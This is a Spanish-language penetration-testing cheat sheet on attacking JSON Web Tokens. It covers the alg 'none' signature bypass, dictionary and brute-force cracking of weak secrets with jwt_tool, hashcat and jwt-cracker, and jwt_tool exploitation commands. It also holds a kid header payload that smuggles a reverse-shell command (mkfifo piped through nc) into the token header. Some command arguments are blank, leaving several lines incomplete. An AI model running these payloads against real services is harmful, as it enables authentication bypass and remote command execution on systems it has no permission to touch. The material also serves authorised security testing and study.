# JSON Web Token (JWT)
## Sin verificación de firma
Realizar libremente cualquier cambio en el token JWT.
## Algoritmo `none`
JWT admite un algoritmo `none` (ningún algoritmo), que el servidor puede aceptar si utiliza una biblioteca obsoleta para procesar JWT. Si `alg` (abreviatura de algoritmo) se establece en `none`, cualquier token se considerará válido si la firma se establece en vacío.
```sh
# JSON header
{"alg":"none","typ":"JWT"}
# JWT
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.base64UrlEncode(payload).
# JWT Tool
jwt_tool.py -X a
```
## Confusión de algoritmo
*
## Secreto débil
### Ataque de diccionario
```sh
# JWT Tool
jwt_tool.py -C -d
# Hashcat
echo "" > jwt.txt
hashcat -m 16500 -a 0 jwt.txt
```
### Ataque de fuerza bruta
```sh
# JWT Cracker
jwt-cracker
jwt-cracker
```
## Inyecciones en parámetros de encabezado
### KID
Los servidores pueden usar varias claves criptográficas para firmar diferentes tipos de datos, no solo JWT. Por esta razón, el encabezado de un JWT puede contener el parámetro `kid` (ID de clave), que ayuda al servidor a identificar qué clave usar al verificar la firma de un token JWT.
Ejecución de comandos con reverse shell.
```json
{
"alg": "HS256",
"typ": "JWT",
"kid": "default.key\";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc >/tmp/f;\""
}
```
## Otros claims
* jwk
* jku
* x5c
* x5u
## JWT Tool
*
Ejecución de todas las pruebas (all test).
```shell
# at = all test
jwt_tool.py -M at -t "https:///" -rh "Authorization: Bearer " -np
# Revisión de resultados
jwt_tool.py -Q "jwttool_"
```
Explotación de vulnerabilidades conocidas.
```shell
# a = alg:none
jwt_tool.py -X a
# n = firma en null
jwt_tool.py -X n
# b = contraseña en blanco aceptada en la firma
jwt_tool.py -X b
# Secreto débil (ataque de diccionario)
jwt_tool.py -C -d
```
Ingresar/modificar de información de JSON Web Token (JWT).
```shell
# Modo interactivo
jwt_tool.py -T
# Ingreso/modificación directa
jwt_tool.py -I -S -pc '' -pv '' -p ''
```